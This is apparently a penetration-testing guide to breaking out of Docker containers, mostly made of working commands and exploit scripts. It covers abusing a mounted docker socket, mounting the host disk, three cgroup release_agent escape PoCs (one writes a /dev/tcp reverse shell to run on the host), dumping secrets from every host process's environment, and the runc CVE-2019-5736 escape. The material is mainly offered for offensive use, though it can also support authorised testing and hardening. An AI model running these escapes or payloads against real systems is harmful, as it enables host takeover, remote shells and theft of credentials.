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Docker Breakout / Privilege Escalation

Automatic Enumeration & Escape

linpeas: It can also enumerate containers
CDK: This tool is pretty useful to enumerate the container you are into even try to escape automatically
amicontained: Useful tool to get the privileges the container has in order to find ways to escape from it
deepce: Tool to enumerate and escape from containers
grype: Get the CVEs contained in the software installed in the image

Mounted Docker Socket Escape

If somehow you find that the docker socket is mounted inside the docker container, you will be able to escape from it.
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

In this case you can use regular docker commands to communicate with the docker daemon:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

{% hint style="info" %} In case the docker socket is in an unexpected place you can still communicate with it using the docker command with the parameter -H unix:///path/to/docker.sock {% endhint %}

Docker daemon might be also listening in a port (by default 2375, 2376) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket fd://.

{% hint style="info" %} Additionally, pay attention to the runtime sockets of other high-level runtimes:

dockershim: unix:///var/run/dockershim.sock
containerd: unix:///run/containerd/containerd.sock
cri-o: unix:///var/run/crio/crio.sock
frakti: unix:///var/run/frakti.sock
rktlet: unix:///var/run/rktlet.sock
... {% endhint %}

Capabilities Abuse Escape

You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

You can check currently container capabilities using previously mentioned automatic tools or:

capsh --print

In the following page you can learn more about linux capabilities and how to abuse them to escape/escalate privileges:

{% content-ref url="../linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

Escape from Privileged Containers

A privileged container can be created with the flag --privileged or disabling specific defenses:

--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
--security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host

The --privileged flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can read all the effects of --privileged in this page:

{% content-ref url="docker-privileged.md" %} docker-privileged.md {% endcontent-ref %}

Privileged + hostPID

With these permissions you can just move to the namespace of a process running in the host as root like init (pid:1) just running: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Test it in a container executing:

docker run --rm -it --pid=host --privileged ubuntu bash

Privileged

Just with the privileged flag you can try to access the host's disk or try to escape abusing release_agent or other escapes.

Test the following bypasses in a container executing:

docker run --rm -it --privileged ubuntu bash

Mounting Disk - Poc1

Well configured docker containers won't allow command like fdisk -l. However on miss-configured docker command where the flag --privileged or --device=/dev/sda1 with caps is specified, it is possible to get the privileges to see the host drive.

So to take over the host machine, it is trivial:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

And voilà ! You can now access the filesystem of the host because it is mounted in the /mnt/hola folder.

Mounting Disk - Poc2

Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:

#### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

#### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

#### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Privileged Escape Abusing release_agent - PoC1

{% code title="Initial PoC" %}

# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
## Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

{% endcode %}

Privileged Escape Abusing release_agent - PoC2

{% code title="Second PoC" %}

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

{% endcode %}

Find an explanation of the technique in:

{% content-ref url="docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md" %} docker-release_agent-cgroups-escape.md {% endcontent-ref %}

Privileged Escape Abusing release_agent without known the relative path - PoC3

In the previous exploits the absolute path of the continer inside the hosts filesystem is disclosed. However, this isn’t always the case. In cases where you don’t know the absolute path of the continer inside the host you can use this technique:

{% content-ref url="docker-breakout-privilege-escalation/release_agent-exploit-relative-paths-to-pids.md" %} release_agent-exploit-relative-paths-to-pids.md {% endcontent-ref %}

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
  if [ $((${TPID} % 100)) -eq 0 ]
  then
    echo "Checking pid ${TPID}"
    if [ ${TPID} -gt ${MAX_PID} ]
    then
      echo "Exiting at ${MAX_PID} :-("
      exit 1
    fi
  fi
  # Set the release_agent path to the guessed pid
  echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
  # Trigger execution of the release_agent
  sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
  TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Executing the PoC within a privileged container should provide output similar to:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Privileged Escape Abusing Sensitive Mounts

There are several files that might mounted that give information about the underlaying host. Some of them may even indicate something to be executed by the host when something happens (which will allow a attacker to escape from the container).
The abuse of these files may allow that:

release_agent (already covered before)
binfmt_misc
core_pattern
uevent_helper
modprobe

However, you can find other sensitive files to check for in this page:

{% content-ref url="docker-breakout-privilege-escalation/sensitive-mounts.md" %} sensitive-mounts.md {% endcontent-ref %}

Arbitrary Mounts

In several occasions you will find that the container has some volume mounted from the host. If this volume wasn’t correctly configured you might be able to access/modify sensitive data: Read secrets, change ssh authorized_keys…

docker run --rm -it -v /:/host ubuntu bash

hostPID

If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab:

docker run --rm -it --pid=host ubuntu bash

For example, you will be able to list the processes using something like ps auxn and search for sensitive details in the commands.

Then, as you can access each process of the host in /proc/ you can just steal their env secrets running:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

You can also access other processes file descriptors and read their open files:

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

You can also kill processes and cause a DoS.

{% hint style="warning" %} If you somehow has privileged access over a process outside of the container, you could run something like nsenter --target <pid> --all or nsenter --target <pid> --mount --net --pid --cgroup to run a shell with the same ns restrictions (hopefully none) as that process. {% endhint %}

hostNetwork

docker run --rm -it --network=host ubuntu bash

If a container was configured with the Docker host networking driver (--network=host), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the container binds all services directly to the host's IP. Furthermore the container can intercept ALL network traffic that the host is sending and receiving on shared interface tcpdump -i eth0.

For instance, you can use this to sniff and even spoof traffic between host and metadata instance.

Like in the following examples:

You will be able also to access network services binded to localhost inside the host or even access the metadata permissions of the node (which might be different those a container can access):

{% content-ref url="../../../cloud-security/pentesting-kubernetes/kubernetes-access-to-other-clouds.md" %} kubernetes-access-to-other-clouds.md {% endcontent-ref %}

hostIPC

docker run --rm -it --ipc=host ubuntu bash

If you only have hostIPC=true, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s inter-process communication mechanisms (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is /dev/shm, as it is shared between any pod with hostIPC=true and the host. You'll also want to check out the other IPC mechanisms with ipcs.

Inspect /dev/shm - Look for any files in this shared memory location: ls -la /dev/shm
Inspect existing IPC facilities – You can check to see if any IPC facilities are being used with /usr/bin/ipcs. Check it with: ipcs -a

CVEs

Runc exploit (CVE-2019-5736)

In case you can execute docker exec as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit here). This technique will basically overwrite the /bin/sh binary of the host from a container, so anyone executing docker exec may trigger the payload.

Change the payload accordingly and build the main.go with go build main.go. The resulting binary should be placed in the docker container for execution.
Upon execution, as soon as it displays [+] Overwritten /bin/sh successfully you need to execute the following from the host machine:

docker exec -it <container-name> /bin/sh

This will trigger the payload which is present in the main.go file.

For more information: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

{% hint style="info" %} There are other CVEs the container can be vulnerable too, you can find a list in https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list {% endhint %}

Breakout Templates

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

Find the path of the containers filesystem inside the host
- You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
- You should be able to execute the trigger from inside the host
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
- You might need to mount things o perform special privileged actions you cannot do in a default docker container

References